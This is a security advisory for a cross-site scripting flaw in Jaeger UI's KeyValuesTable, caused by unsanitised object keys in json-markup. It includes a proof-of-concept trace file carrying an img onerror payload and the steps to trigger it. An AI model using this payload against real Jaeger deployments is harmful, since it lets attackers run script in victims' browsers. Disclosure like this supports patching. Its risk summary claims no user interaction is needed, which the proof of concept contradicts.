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GHSA-2w8w-qhg4-f78j

MediumCVSS 6.5 / 10
Published Jul 11, 2023·Last modified Feb 4, 2026
Affected Components(0)

No affected components available

Description

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

  1. Start a Jaeger UI
  2. Save the following trace as a file:
{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}
  1. Upload that trace to Jaeger UI in order to visualise it.
  2. Open the trace, open it's span's attributes.
  3. XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Risk Scores
Base Score
6.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
6.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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Medium severity
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